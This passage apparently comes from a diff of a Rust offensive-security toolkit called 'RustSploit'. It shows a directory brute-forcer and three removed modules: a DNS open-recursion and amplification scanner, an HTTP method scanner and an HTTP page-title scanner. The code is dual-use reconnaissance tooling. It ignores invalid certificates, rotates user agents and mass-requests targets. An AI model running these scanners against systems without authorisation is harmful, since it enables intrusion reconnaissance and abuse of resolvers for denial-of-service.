if prompt_yes_no("Path does not end with '/'. Append it?", true)? {
format!("{}/", path_input)
} else {
if !prompt_yes_no("Continue without trailing slash? (May break scanning)", false)? {
return Err(anyhow!("Aborted by user due to path format."));
}
path_input
}
} else {
path_input
};
Ok((proto, resolved_ip, port, path))
}
// --- Persistence ---
async fn save_template(config: &DirBruteConfig) -> Result<()> {
let name = prompt_default("Template Name (e.g. 'myscan.json')", "scan_template.json")?;
let json = serde_json::to_string_pretty(config)?;
fs::write(&name, json).context("Failed to write template file")?;
println!("Saved config to {}", name);
Ok(())
}
async fn load_template() -> Result<DirBruteConfig> {
let path = prompt_existing_file("Template File Path")?;
let content = fs::read_to_string(&path)?;
let config: DirBruteConfig = serde_json::from_str(&content).context("Invalid template format")?;
println!("{}", "Loaded Configuration:".green());
println!("Target: {}://{}:{}{}", config.protocol, config.target_host, config.port, config.base_path);
println!("Mode: Level {}", config.scan_mode);
println!("Wordlist: {}", config.wordlist_path);
if !prompt_yes_no("Run this configuration?", true)? {
return Err(anyhow!("User cancelled after loading template."));
}
Ok(config)
}
// --- Execution Engine ---
struct ScanResult {
path: String,
method: String,
status: u16,
len: u64,
}
async fn execute_scan(config: DirBruteConfig) -> Result<()> {
let lines = load_lines(&config.wordlist_path)?;
let total = lines.len();
println!("\n{}", format!("Loaded {} words. Starting scan...", total).blue().bold());
let base_url = format!("{}://{}:{}{}", config.protocol, config.target_host, config.port, config.base_path);
// Build Client
let mut headers = header::HeaderMap::new();
if let Some(cookies) = &config.custom_cookies {
headers.insert(header::COOKIE, cookies.parse().context("Invalid cookie string")?);
}
let client = Client::builder()
.default_headers(headers)
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(10))
.build()?;
let sem = Arc::new(Semaphore::new(config.concurrency));
let results_mutex = Arc::new(tokio::sync::Mutex::new(Vec::new()));
let forbidden_count = Arc::new(AtomicUsize::new(0));
let methods = get_methods_for_mode(config.scan_mode);
let delay = Duration::from_millis(config.delay_ms);
println!("{}", format!("Target Base: {}", base_url).cyan());
println!("{}", "Press Ctrl+C to stop (handler not implemented, so just wait)".dimmed());
println!("{}", "---------------------------------------------------");
let mut tasks = Vec::new();
for word in lines {
let sem = Arc::clone(&sem);
let client = client.clone();
let base = base_url.clone();
let r_mutex = Arc::clone(&results_mutex);
let f_count = Arc::clone(&forbidden_count);
let methods = methods.clone();
let config_verbose = config.verbose;
let random_agent = config.random_agent;
let task: tokio::task::JoinHandle<Result<()>> = tokio::spawn(async move {
let _permit = sem.acquire().await.context("Semaphore acquisition failed")?;
// Apply delay
if delay.as_millis() > 0 {
tokio::time::sleep(delay).await;
}
let url = format!("{}{}", base, word);
for method in methods {
let mut req_builder = client.request(method.clone(), &url);
if random_agent {
let agent = USER_AGENTS.choose(&mut rand::rng()).unwrap_or(&"RustSploit");
req_builder = req_builder.header(header::USER_AGENT, *agent);
} else {
req_builder = req_builder.header(header::USER_AGENT, "RustSploit/0.3");
}
match req_builder.send().await {
Ok(resp) => {
let status = resp.status().as_u16();
let len = resp.content_length().unwrap_or(0);
// Special handling for 403 Forbidden
if status == 403 {
f_count.fetch_add(1, Ordering::Relaxed);
if !config_verbose {
continue; // Skip printing if not verbose
}
}
// Determine if "Interesting"
if COMMON_STATUS_CODES.contains(&status) {
let method_str = method.as_str();
// Enhanced Color Logic
let status_display = if status >= 200 && status < 300 {
format!("{} {}", "[FOUND]".green().bold(), status.to_string().green())
} else if status >= 300 && status < 400 {
format!("{} {}", "[REDIR]".blue().bold(), status.to_string().blue())
} else if status >= 500 {
format!("{} {}", "[ERROR]".red().bold(), status.to_string().red())
} else if status == 403 || status == 401 {
format!("{} {}", "[AUTH]".yellow().bold(), status.to_string().yellow())
} else {
format!("[{}]", status).white().to_string()
};
println!("{} Size: {} | Method: {} | {}",
status_display,
len.to_string().dimmed(),
method_str.bold(),
url
);
let res = ScanResult {
path: url.clone(),
method: method.to_string(),
status,
len,
};
r_mutex.lock().await.push(res);
}
}
Err(_) => {}
}
}
Ok(())
});
tasks.push(task);
}
// Await all
for t in tasks {
let _ = t.await;
}
println!("\n{}", "Scan Complete.".green().bold());
// 403 Summary
let f_total = forbidden_count.load(Ordering::Relaxed);
if f_total > 0 && !config.verbose {
println!("{}", format!("[*] Aggregated {} '403 Forbidden' responses. (Use verbose mode to see them)", f_total).yellow());
}
// Report & Save
let final_results = results_mutex.lock().await;
if !final_results.is_empty() && prompt_yes_no("Save results to file?", true)? {
let sort_choice = prompt_default("Sort by (1) Status or (2) Size", "1")?;
let mut sorted: Vec<&ScanResult> = final_results.iter().collect();
if sort_choice == "2" {
sorted.sort_by(|a, b| b.len.cmp(&a.len)); // Size desc
} else {
sorted.sort_by(|a, b| a.status.cmp(&b.status)); // Status asc
}
let filename = format!("scan_results_{}.txt", chrono::Local::now().format("%Y%m%d_%H%M%S"));
let mut file_content = String::new();
for r in sorted {
use std::fmt::Write;
writeln!(file_content, "[{}] {} | Size: {} | Method: {} | {}",
r.status, get_status_text(r.status), r.len, r.method, r.path).context("Failed to write to buffer")?;
}
fs::write(&filename, file_content)?;
println!("Results saved to {}", filename.green());
}
Ok(())
}
fn get_methods_for_mode(mode: u8) -> Vec<Method> {
match mode {
3 => vec![
Method::GET, Method::POST, Method::PUT, Method::DELETE,
Method::HEAD, Method::OPTIONS, Method::PATCH, Method::TRACE,
Method::CONNECT
],
2 => vec![
Method::GET, Method::POST, Method::PUT,
Method::HEAD, Method::OPTIONS, Method::PATCH, Method::TRACE,
Method::CONNECT
],
_ => vec![Method::GET], // Level 1
}
}
fn get_status_text(code: u16) -> &'static str {
match code {
200 => "OK",
201 => "Created",
204 => "No Content",
301 => "Moved Permanently",
302 => "Found",
307 => "Temporary Redirect",
401 => "Unauthorized",
403 => "Forbidden",
404 => "Not Found",
405 => "Method Not Allowed",
421 => "Misdirected Request",
500 => "Internal Server Error",
_ => "",
}
}
-307
View File
@@ -1,307 +0,0 @@
use anyhow::{anyhow, Context, Result};
use colored::*;
use std::net::{IpAddr, SocketAddr, ToSocketAddrs};
use tokio::time::{timeout, Duration};
use crate::utils::{
prompt_default, prompt_port,
};
use hickory_client::client::{Client, ClientHandle};
use hickory_proto::op::ResponseCode;
use hickory_proto::rr::{DNSClass, Name, RecordType};
use hickory_proto::udp::UdpClientStream;
use hickory_proto::runtime::TokioRuntimeProvider;
use hickory_proto::op::Message;
use hickory_proto::xfer::DnsResponse;
#[derive(Clone, Debug)]
struct TargetSpec {
input: String,
host: String,
port: Option<u16>,
}
fn display_banner() {
println!("{}", "╔══════════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ DNS Recursion & Amplification Scanner ║".cyan());
println!("{}", "║ Detects open resolvers that may be abused for DoS attacks ║".cyan());
println!("{}", "╚══════════════════════════════════════════════════════════════╝".cyan());
println!();
}
/// Scan DNS resolvers for open recursion with improved input validation.
pub async fn run(initial_target: &str) -> Result<()> {
display_banner();
let mut targets = vec![
TargetSpec {
input: initial_target.to_string(),
host: initial_target.to_string(),
port: None,
}
];
let needs_default_port = targets.iter().any(|t| t.port.is_none());
let default_port = if needs_default_port {
prompt_port("Default DNS port", 53)?
} else {
53
};
let query_name_input = prompt_default("Domain to query", "google.com")?;
let query_name = validate_domain_input(&query_name_input)?;
let record_input =
prompt_default("Record type (A, AAAA, ANY, DNSKEY, TXT, MX)", "ANY")?;
let record_type = parse_record_type(&record_input)?;
println!(
"[*] Prepared {} query for {} across {} target(s)",
record_type,
query_name,
targets.len()
);
let name = Name::from_str_relaxed(&query_name)
.with_context(|| format!("Invalid domain name '{}'", query_name))?;
let mut any_success = false;
let mut last_error: Option<anyhow::Error> = None;
let mut vulnerable_count = 0usize;
let mut tested_count = 0usize;
let start_time = std::time::Instant::now();
println!();
for spec in targets.drain(..) {
let port = spec.port.unwrap_or(default_port);
let display = format_endpoint(&spec.host, port);
println!(
"\n[*] Processing target {} (input: {})",
display.cyan(),
spec.input
);
tested_count += 1;
match resolve_target(&spec.host, port).await {
Ok((socket_addr, resolved_display)) => {
println!("{}", format!("[*] Target resolver: {}", resolved_display).cyan());
match query_target(socket_addr, &resolved_display, &name, record_type, &mut vulnerable_count).await {
Ok(()) => any_success = true,
Err(err) => {
eprintln!(
"{}",
format!("[!] Query failed for {}: {}", resolved_display, err).red()
);
last_error = Some(err);
}
}
}
Err(err) => {
eprintln!(
"{}",
format!("[!] Failed to resolve {}: {}", spec.input, err).red()
);
last_error = Some(err);
}
}
}
let elapsed = start_time.elapsed();
// Print statistics
println!();
println!("{}", "=== Scan Statistics ===".bold());
println!(" Targets tested: {}", tested_count);
println!(" Vulnerable (open): {}", if vulnerable_count > 0 {
vulnerable_count.to_string().red().bold().to_string()
} else {
"0".green().to_string()
});
println!(" Duration: {:.2}s", elapsed.as_secs_f64());
if vulnerable_count > 0 {
println!();
println!("{}", "[!] WARNING: Open recursive DNS resolvers detected!".red().bold());
println!("{}", " These can be abused for DNS amplification attacks.".yellow());
}
if any_success {
Ok(())
} else {
Err(last_error.unwrap_or_else(|| anyhow!("All targets failed.")))
}
}
async fn query_target(
socket_addr: SocketAddr,
display_target: &str,
name: &Name,
record_type: RecordType,
vulnerable_count: &mut usize,
) -> Result<()> {
println!(
"[*] Sending {} query (timeout 5s) to {}",
record_type, display_target
);
let stream = UdpClientStream::builder(socket_addr, TokioRuntimeProvider::new())
.build();
let (mut client, bg) =
Client::connect(stream).await.context("Failed to initiate DNS client")?;
tokio::spawn(bg);
let response: DnsResponse = timeout(
Duration::from_secs(5),
client.query(name.clone(), DNSClass::IN, record_type),
)
.await
.context("DNS query timed out")?
.with_context(|| format!("DNS query to {} failed", display_target))?;
let (message, _) = response.into_parts();
let is_vulnerable = report_result(&message, display_target, record_type);
if is_vulnerable {
*vulnerable_count += 1;
}
Ok(())
}
fn report_result(message: &Message, display_target: &str, record_type: RecordType) -> bool {
let recursion_available = message.recursion_available();
let recursion_desired = message.recursion_desired();
let authoritative = message.authoritative();
let truncated = message.truncated();
let rcode = message.response_code();
println!();
println!(
"{}",
format!(
"[*] Response code: {:?} | Answers: {} | Authority: {} | Additional: {}",
rcode,
message.answers().len(),
message.name_servers().len(),
message.additionals().len()
).dimmed()
);
if truncated {
println!("{}", "[!] Response was truncated (TC flag set).".yellow());
}
println!(
"{}",
format!("[*] Flags: RD={} RA={} AA={}", recursion_desired, recursion_available, authoritative).dimmed()
);
if recursion_available && rcode != ResponseCode::Refused {
println!(
"{}",
format!(
"[+] {} appears to allow recursion (RA flag set) for {} {} queries.",
display_target,
record_type,
if authoritative { "(authoritative data returned)" } else { "" }
)
.green()
.bold()
);
println!(
"{}",
" This resolver may be abused for reflection/amplification attacks (ANY/DNSSEC)."
.yellow()
);
true
} else if recursion_available && rcode == ResponseCode::Refused {
println!(
"{}",
format!(
"[-] {} reports recursion available but refused the request (likely ACL protected).",
display_target
)
.yellow()
);
false
} else {
println!(
"{}",
format!(
"[-] {} does not appear to allow recursion (RA flag unset or query refused).",
display_target
)
.dimmed()
);
false
}
}
fn parse_record_type(input: &str) -> Result<RecordType> {
match input.trim().to_uppercase().as_str() {
"A" => Ok(RecordType::A),
"AAAA" => Ok(RecordType::AAAA),
"ANY" => Ok(RecordType::ANY),
"DNSKEY" => Ok(RecordType::DNSKEY),
"TXT" => Ok(RecordType::TXT),
"MX" => Ok(RecordType::MX),
other => Err(anyhow!("Unsupported record type '{}'", other)),
}
}
async fn resolve_target(host: &str, port: u16) -> Result<(SocketAddr, String)> {
if let Ok(ip) = host.parse::<IpAddr>() {
let addr = SocketAddr::new(ip, port);
return Ok((addr, format_endpoint(host, port)));
}
let mut addrs_iter = (host, port)
.to_socket_addrs()
.with_context(|| format!("Unable to resolve '{}:{}'", host, port))?;
let addr = addrs_iter
.next()
.ok_or_else(|| anyhow!("No socket addresses resolved for '{}:{}'", host, port))?;
Ok((addr, addr.to_string()))
}
// random_test_domain removed per request
// Unused local functions removed
fn format_endpoint(host: &str, port: u16) -> String {
match host.parse::<IpAddr>() {
Ok(IpAddr::V6(_)) => format!("[{}]:{}", host, port),
_ => format!("{}:{}", host, port),
}
}
fn validate_domain_input(input: &str) -> Result<String> {
let trimmed = input.trim();
if trimmed.is_empty() {
return Err(anyhow!("Domain cannot be empty"));
}
if trimmed.len() > 253 {
return Err(anyhow!(
"Domain '{}' is too long (maximum 253 characters)",
trimmed
));
}
let without_dot = trimmed.trim_end_matches('.');
if without_dot.is_empty() {
return Err(anyhow!("Domain cannot be empty"));
}
if without_dot
.chars()
.any(|c| !(c.is_ascii_alphanumeric() || c == '.' || c == '-' || c == '_'))
{
return Err(anyhow!(
"Domain '{}' contains invalid characters. Allowed: A-Z, 0-9, '-', '_', '.'",
trimmed
));
}
Ok(without_dot.to_lowercase())
}
-395
View File
@@ -1,395 +0,0 @@
use anyhow::{anyhow, Context, Result};
use chrono::Utc;
use colored::*;
use reqwest::{Client, Method, StatusCode, Url};
use std::collections::HashSet;
use std::fs;
use std::io::Write;
use std::time::{Duration, Instant};
const METHODS: &[&str] = &[
"GET",
"POST",
"HEAD",
"OPTIONS",
"PUT",
"DELETE",
"PATCH",
"TRACE",
"CONNECT",
];
struct MethodResult {
method: &'static str,
status: Option<StatusCode>,
ok: bool,
error: Option<String>,
duration_ms: u128,
}
struct TargetResult {
target: String,
results: Vec<MethodResult>,
}
pub async fn run(initial_target: &str) -> Result<()> {
banner();
let mut targets = collect_initial_targets(initial_target);
let additional = prompt("Enter additional comma-separated targets (optional): ")?;
if !additional.is_empty() {
targets.extend(split_targets(&additional));
}
let file_path = prompt("Path to file with targets (optional): ")?;
if !file_path.is_empty() {
let file_targets = load_targets_from_file(&file_path)?;
targets.extend(file_targets);
}
let default_scheme_input = prompt("Preferred scheme (http/https, default https): ")?;
let default_scheme = match default_scheme_input.to_lowercase().as_str() {
"http" => "http",
_ => "https",
};
let use_ports = prompt_bool(
"Test via specific ports (port tunneling)? (yes/no, default no): ",
false,
)?;
let ports = if use_ports {
prompt_ports()?
} else {
Vec::new()
};
let timeout_input = prompt("Request timeout in seconds (default 10): ")?;
let timeout_secs: u64 = timeout_input
.parse()
.ok()
.filter(|val| *val > 0)
.unwrap_or(10);
let verbose = prompt_bool("Enable verbose output? (yes/no, default no): ", false)?;
let save_output = prompt_bool("Save results to file? (yes/no, default yes): ", true)?;
let mut normalized = normalize_targets(targets, default_scheme);
if !ports.is_empty() {
let expanded = expand_targets_with_ports(&normalized, &ports);
if expanded.is_empty() {
println!("[!] No valid port combinations derived; continuing without port tunneling.");
} else {
normalized = expanded;
}
}
if normalized.is_empty() {
return Err(anyhow!("No valid targets provided"));
}
normalized.sort();
let client = Client::builder()
.user_agent("RustSploit-HTTP-Method-Scanner/1.0")
.timeout(Duration::from_secs(timeout_secs))
.redirect(reqwest::redirect::Policy::limited(5))
.build()
.context("Failed to build HTTP client")?;
let mut all_results = Vec::new();
let mut total_success = 0usize;
let mut total_errors = 0usize;
let start_time = Instant::now();
println!("{}", format!("[*] Scanning {} target(s) with {} methods each...",
normalized.len(), METHODS.len()).cyan().bold());
for target in &normalized {
println!("\n{}", format!("=== Target: {} ===", target).bold());
let mut method_results = Vec::new();
for &method_name in METHODS {
let method = Method::from_bytes(method_name.as_bytes()).unwrap_or(Method::GET);
let body = match method_name {
"POST" | "PUT" | "PATCH" => Some("RustSploit HTTP method scanner test".to_string()),
_ => None,
};
let start = std::time::Instant::now();
let response = if let Some(ref payload) = body {
client
.request(method.clone(), target)
.body(payload.clone())
.send()
.await
} else {
client.request(method.clone(), target).send().await
};
let elapsed = start.elapsed();
match response {
Ok(resp) => {
let status = resp.status();
let ok = status.is_success();
if ok {
total_success += 1;
if verbose {
println!("{}", format!(" [{}] {} -> {} ({:.2?})", method_name, target, status, elapsed).green());
} else {
println!("{}", format!(" [{}] {}", method_name, status).green());
}
} else {
if verbose {
println!("{}", format!(" [{}] {} -> {} ({:.2?})", method_name, target, status, elapsed).yellow());
} else {
println!("{}", format!(" [{}] {}", method_name, status).yellow());
}
}
method_results.push(MethodResult {
method: method_name,
status: Some(status),
ok,
error: None,
duration_ms: elapsed.as_millis(),
});
}
Err(err) => {
total_errors += 1;
if verbose {
println!("{}", format!(" [{}] {} -> error: {} ({:.2?})", method_name, target, err, elapsed).red());
} else {
println!("{}", format!(" [{}] error: {}", method_name, err).red());
}
method_results.push(MethodResult {
method: method_name,
status: None,
ok: false,
error: Some(err.to_string()),
duration_ms: elapsed.as_millis(),
});
}
}
}
all_results.push(TargetResult {
target: target.clone(),
results: method_results,
});
}
let total_elapsed = start_time.elapsed();
let total_requests = normalized.len() * METHODS.len();
// Print statistics
println!();
println!("{}", "=== Scan Statistics ===".bold());
println!(" Targets: {}", normalized.len());
println!(" Methods tested: {}", METHODS.len());
println!(" Total requests: {}", total_requests);
println!(" Successful: {}", total_success.to_string().green());
println!(" Errors: {}", total_errors.to_string().red());
println!(" Duration: {:.2}s", total_elapsed.as_secs_f64());
if total_elapsed.as_secs() > 0 {
println!(" Rate: {:.1} requests/s", total_requests as f64 / total_elapsed.as_secs_f64());
}
if save_output {
let default_name = format!(
"http_method_scan_{}.txt",
Utc::now().format("%Y%m%d_%H%M%S")
);
let output_path = prompt_with_default(
"Enter output file path (press Enter for default): ",
&default_name,
)?;
write_report(&output_path, &all_results)?;
println!("[*] Results saved to {}", output_path);
}
println!("\n[*] Scan complete.");
Ok(())
}
fn banner() {
println!("{}", "╔══════════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ HTTP Method Capability Scanner ║".cyan());
println!("{}", "║ Checks support for common HTTP verbs (GET, POST, etc.) ║".cyan());
println!("{}", "╚══════════════════════════════════════════════════════════════╝".cyan());
println!();
}
fn collect_initial_targets(initial_target: &str) -> Vec<String> {
let mut targets = Vec::new();
let trimmed = initial_target.trim();
if !trimmed.is_empty() && trimmed != "http_method_scanner" {
targets.extend(split_targets(trimmed));
}
targets
}
fn split_targets(input: &str) -> Vec<String> {
input
.split(|c| c == ',' || c == '\n' || c == ';')
.map(|item| item.trim().trim_end_matches('/').to_string())
.filter(|item| !item.is_empty())
.collect()
}
fn load_targets_from_file(path: &str) -> Result<Vec<String>> {
let data = fs::read_to_string(path)
.with_context(|| format!("Failed to read target file: {}", path))?;
Ok(split_targets(&data))
}
fn normalize_targets(targets: Vec<String>, default_scheme: &str) -> Vec<String> {
let mut unique = HashSet::new();
let mut normalized = Vec::new();
for raw in targets {
let target = raw.trim();
if target.is_empty() {
continue;
}
let formatted = if target.starts_with("http://")
|| target.starts_with("https://")
|| target.contains("://")
{
target.to_string()
} else {
format!("{}://{}", default_scheme, target)
};
if unique.insert(formatted.clone()) {
normalized.push(formatted);
}
}
normalized
}
fn expand_targets_with_ports(targets: &[String], ports: &[u16]) -> Vec<String> {
let mut expanded = Vec::new();
let mut seen = HashSet::new();
for target in targets {
if let Ok(mut url) = Url::parse(target) {
for port in ports {
if url.set_port(Some(*port)).is_ok() {
let final_url = url.to_string();
if seen.insert(final_url.clone()) {
expanded.push(final_url);
}
}
}
} else {
for port in ports {
let final_url = format!("{}:{}", target, port);
if seen.insert(final_url.clone()) {
expanded.push(final_url);
}
}
}
}
expanded
}
fn prompt(message: &str) -> Result<String> {
print!("{}", message);
std::io::stdout()
.flush()
.context("Failed to flush stdout")?;
let mut input = String::new();
std::io::stdin()
.read_line(&mut input)
.context("Failed to read user input")?;
Ok(input.trim().to_string())
}
fn prompt_bool(message: &str, default: bool) -> Result<bool> {
let default_text = if default { "yes" } else { "no" };
let input = prompt(message)?;
if input.is_empty() {
return Ok(default);
}
match input.to_lowercase().as_str() {
"y" | "yes" | "true" => Ok(true),
"n" | "no" | "false" => Ok(false),
_ => {
println!("[!] Invalid input, using default ({})", default_text);
Ok(default)
}
}
}
fn prompt_with_default(message: &str, default: &str) -> Result<String> {
let input = prompt(message)?;
if input.is_empty() {
Ok(default.to_string())
} else {
Ok(input)
}
}
fn prompt_ports() -> Result<Vec<u16>> {
let input = prompt(
"Enter port(s) to tunnel through (comma-separated, e.g., 80,8080; leave blank to skip): ",
)?;
if input.is_empty() {
println!("[!] No ports provided; skipping port tunneling.");
return Ok(Vec::new());
}
let mut ports = Vec::new();
let mut seen = HashSet::new();
for part in input.split(|c| c == ',' || c == ';' || c == ' ') {
let trimmed = part.trim();
if trimmed.is_empty() {
continue;
}
match trimmed.parse::<u16>() {
Ok(port) => {
if seen.insert(port) {
ports.push(port);
}
}
Err(_) => println!("[!] Skipping invalid port '{}'.", trimmed),
}
}
if ports.is_empty() {
println!("[!] No valid ports parsed; skipping port tunneling.");
}
Ok(ports)
}
fn write_report(path: &str, results: &[TargetResult]) -> Result<()> {
let mut lines = Vec::new();
lines.push("HTTP Method Scanner Report".to_string());
lines.push(format!("Generated at: {}", Utc::now()));
lines.push(String::new());
for target in results {
lines.push(format!("Target: {}", target.target));
for method in &target.results {
if let Some(status) = method.status {
lines.push(format!(
" - {:<7} status: {:<5} success: {:<5} time: {} ms",
method.method,
status.as_u16(),
method.ok,
method.duration_ms
));
} else if let Some(ref error) = method.error {
lines.push(format!(
" - {:<7} error: {} time: {} ms",
method.method, error, method.duration_ms
));
}
}
lines.push(String::new());
}
fs::write(path, lines.join("\n"))
.with_context(|| format!("Failed to write report to {}", path))
}
-412
View File
@@ -1,412 +0,0 @@
use anyhow::{anyhow, Context, Result};
use chrono::Utc;
use colored::*;
use regex::Regex;
use reqwest::{Client, StatusCode, Url};
use std::collections::HashSet;
use std::fs;
use std::io::Write;
use std::time::{Duration, Instant};
pub async fn run(initial_target: &str) -> Result<()> {
banner();
let mut targets = collect_initial_targets(initial_target);
let additional = prompt("Enter additional comma-separated targets (optional): ")?;
if !additional.is_empty() {
targets.extend(split_targets(&additional));
}
let file_path = prompt("Path to file with targets (optional): ")?;
if !file_path.is_empty() {
let file_targets = load_targets_from_file(&file_path)?;
targets.extend(file_targets);
}
let check_http = prompt_bool("Check HTTP (http://)? (yes/no, default yes): ", true)?;
let check_https = prompt_bool("Check HTTPS (https://)? (yes/no, default yes): ", true)?;
if !check_http && !check_https {
println!("[!] Neither HTTP nor HTTPS selected; nothing to scan.");
return Ok(());
}
let use_ports = prompt_bool(
"Test via specific ports (port tunneling)? (yes/no, default no): ",
false,
)?;
let ports = if use_ports {
prompt_ports()?
} else {
Vec::new()
};
let timeout_secs = prompt_timeout()?;
let save_output = prompt_bool("Save results to file? (yes/no, default yes): ", true)?;
let verbose = prompt_bool("Enable verbose output? (yes/no, default no): ", false)?;
let mut normalized = normalize_targets(targets, check_http, check_https);
if !ports.is_empty() {
let expanded = expand_targets_with_ports(&normalized, &ports);
if expanded.is_empty() {
println!("[!] No valid port combinations derived; continuing without port tunneling.");
} else {
normalized = expanded;
}
}
if normalized.is_empty() {
return Err(anyhow!("No valid targets provided"));
}
normalized.sort();
let client = Client::builder()
.user_agent("RustSploit-HTTP-Title-Scanner/1.0")
.timeout(Duration::from_secs(timeout_secs))
.redirect(reqwest::redirect::Policy::limited(5))
.build()
.context("Failed to build HTTP client")?;
let title_re = Regex::new(r"(?is)<title\b[^>]*>(.*?)</title>")?;
let mut all_results = Vec::new();
let mut success_count = 0usize;
let mut error_count = 0usize;
let start_time = Instant::now();
let total_targets = normalized.len();
println!("{}", format!("[*] Scanning {} target(s)...", total_targets).cyan().bold());
println!();
for (idx, url) in normalized.iter().enumerate() {
// Progress indicator
if (idx + 1) % 10 == 0 || idx + 1 == total_targets {
print!("\r{}", format!("[*] Progress: {}/{} ({:.0}%)",
idx + 1, total_targets, ((idx + 1) as f64 / total_targets as f64) * 100.0).dimmed());
let _ = std::io::Write::flush(&mut std::io::stdout());
}
match fetch_title(&client, url, &title_re).await {
Ok(result) => {
if let Some(title) = &result.title {
println!("\r{}", format!("[+] {} -> {}", url, title).green());
success_count += 1;
} else if let Some(status) = result.status {
if status.is_success() {
println!("\r{}", format!("[+] {} -> <no title> (status: {})", url, status).green());
success_count += 1;
} else {
println!("\r{}", format!("[~] {} -> <no title> (status: {})", url, status).yellow());
}
} else {
println!("\r{}", format!("[~] {} -> <no title>", url).yellow());
}
if verbose {
if let Some(status) = result.status {
println!(" Status: {}", status);
}
println!(" Duration: {} ms", result.duration_ms);
}
all_results.push(result);
}
Err(err) => {
println!("\r{}", format!("[-] {} -> error: {}", url, err).red());
error_count += 1;
all_results.push(TitleResult {
url: url.clone(),
status: None,
title: None,
error: Some(err.to_string()),
duration_ms: 0,
});
}
}
}
let elapsed = start_time.elapsed();
// Print statistics
println!();
println!("{}", "=== Scan Statistics ===".bold());
println!(" Total scanned: {}", total_targets);
println!(" Successful: {}", success_count.to_string().green());
println!(" Errors: {}", error_count.to_string().red());
println!(" Duration: {:.2}s", elapsed.as_secs_f64());
if elapsed.as_secs() > 0 {
println!(" Rate: {:.1} requests/s", total_targets as f64 / elapsed.as_secs_f64());
}
if save_output {
let default_name = format!(
"http_title_scan_{}.txt",
Utc::now().format("%Y%m%d_%H%M%S")
);
let output_path = prompt_with_default(
"Enter output file path (press Enter for default): ",
&default_name,
)?;
write_report(&output_path, &all_results)?;
println!("[*] Results saved to {}", output_path);
}
println!("\n[*] Scan complete.");
Ok(())
}
struct TitleResult {
url: String,
status: Option<StatusCode>,
title: Option<String>,
error: Option<String>,
duration_ms: u128,
}
impl TitleResult {
fn display_title(&self) -> String {
match (&self.title, &self.error) {
(Some(title), _) => title.clone(),
(None, Some(err)) => format!("error: {}", err),
(None, None) => "<no title>".to_string(),
}
}
}
async fn fetch_title(client: &Client, url: &str, title_re: &Regex) -> Result<TitleResult> {
let start = std::time::Instant::now();
let response = client.get(url).send().await.context("Request failed")?;
let status = response.status();
let text = match response.text().await {
Ok(t) => t,
Err(e) => {
return Err(anyhow!("Failed to read response body: {}", e));
}
};
let title = title_re
.captures(&text)
.and_then(|cap| cap.get(1))
.map(|m| sanitize_title(m.as_str()));
let duration = start.elapsed().as_millis();
Ok(TitleResult {
url: url.to_string(),
status: Some(status),
title,
error: None,
duration_ms: duration,
})
}
fn sanitize_title(raw: &str) -> String {
raw
.lines()
.map(|line| line.trim())
.filter(|line| !line.is_empty())
.collect::<Vec<_>>()
.join(" ")
.chars()
.take(200)
.collect()
}
fn collect_initial_targets(initial_target: &str) -> Vec<String> {
let mut targets = Vec::new();
let trimmed = initial_target.trim();
if !trimmed.is_empty() && trimmed != "http_title_scanner" {
targets.extend(split_targets(trimmed));
}
targets
}
fn split_targets(input: &str) -> Vec<String> {
input
.split(|c| c == ',' || c == '\n' || c == ';')
.map(|item| item.trim().trim_end_matches('/').to_string())
.filter(|item| !item.is_empty())
.collect()
}
fn load_targets_from_file(path: &str) -> Result<Vec<String>> {
let data = fs::read_to_string(path)
.with_context(|| format!("Failed to read target file: {}", path))?;
Ok(split_targets(&data))
}
fn normalize_targets(targets: Vec<String>, check_http: bool, check_https: bool) -> Vec<String> {
let mut unique = HashSet::new();
let mut normalized = Vec::new();
for raw in targets {
let target = raw.trim();
if target.is_empty() {
continue;
}
if target.starts_with("http://") || target.starts_with("https://") {
if unique.insert(target.to_string()) {
normalized.push(target.to_string());
}
continue;
}
if check_https {
let https = format!("https://{}", target);
if unique.insert(https.clone()) {
normalized.push(https);
}
}
if check_http {
let http = format!("http://{}", target);
if unique.insert(http.clone()) {
normalized.push(http);
}
}
}
normalized
}
fn expand_targets_with_ports(targets: &[String], ports: &[u16]) -> Vec<String> {
let mut expanded = Vec::new();
let mut seen = HashSet::new();
for target in targets {
if let Ok(url) = Url::parse(target) {
for port in ports {
let mut candidate = url.clone();
if candidate.set_port(Some(*port)).is_ok() {
let final_url = candidate.to_string();
if seen.insert(final_url.clone()) {
expanded.push(final_url);
}
}
}
} else {
for port in ports {
let final_url = format!("{}:{}", target, port);
if seen.insert(final_url.clone()) {
expanded.push(final_url);
}
}
}
}
expanded
}
fn prompt(message: &str) -> Result<String> {
print!("{}", message);
std::io::stdout()
.flush()
.context("Failed to flush stdout")?;
let mut input = String::new();
std::io::stdin()
.read_line(&mut input)
.context("Failed to read user input")?;
Ok(input.trim().to_string())
}
fn prompt_bool(message: &str, default: bool) -> Result<bool> {
let default_text = if default { "yes" } else { "no" };
let input = prompt(message)?;
if input.is_empty() {
return Ok(default);
}
match input.to_lowercase().as_str() {
"y" | "yes" | "true" => Ok(true),
"n" | "no" | "false" => Ok(false),
_ => {
println!("[!] Invalid input, using default ({})", default_text);
Ok(default)
}
}
}
fn prompt_with_default(message: &str, default: &str) -> Result<String> {
let input = prompt(message)?;
if input.is_empty() {
Ok(default.to_string())
} else {
Ok(input)
}
}
fn prompt_timeout() -> Result<u64> {
let input = prompt("Request timeout in seconds (default 10): ")?;
if input.is_empty() {
return Ok(10);
}
match input.parse::<u64>() {
Ok(val) if val > 0 => Ok(val),
_ => {
println!("[!] Invalid timeout, using default (10s)");
Ok(10)
}
}
}
fn prompt_ports() -> Result<Vec<u16>> {
let input = prompt(
"Enter port(s) to tunnel through (comma-separated, e.g., 80,8080; leave blank to skip): ",
)?;
if input.is_empty() {
println!("[!] No ports provided; skipping port tunneling.");
return Ok(Vec::new());
}
let mut ports = Vec::new();
let mut seen = HashSet::new();
for part in input.split(|c| c == ',' || c == ';' || c == ' ') {
let trimmed = part.trim();
if trimmed.is_empty() {
continue;
}
match trimmed.parse::<u16>() {
Ok(port) => {
if seen.insert(port) {
ports.push(port);
}
}
Err(_) => println!("[!] Skipping invalid port '{}'.", trimmed),
}
}
if ports.is_empty() {
println!("[!] No valid ports parsed; skipping port tunneling.");
}
Ok(ports)
}
fn write_report(path: &str, results: &[TitleResult]) -> Result<()> {
let mut lines = Vec::new();
lines.push("HTTP Title Scanner Report".to_string());
lines.push(format!("Generated at: {}", Utc::now()));
lines.push(String::new());
for result in results {
let status_text = result
.status
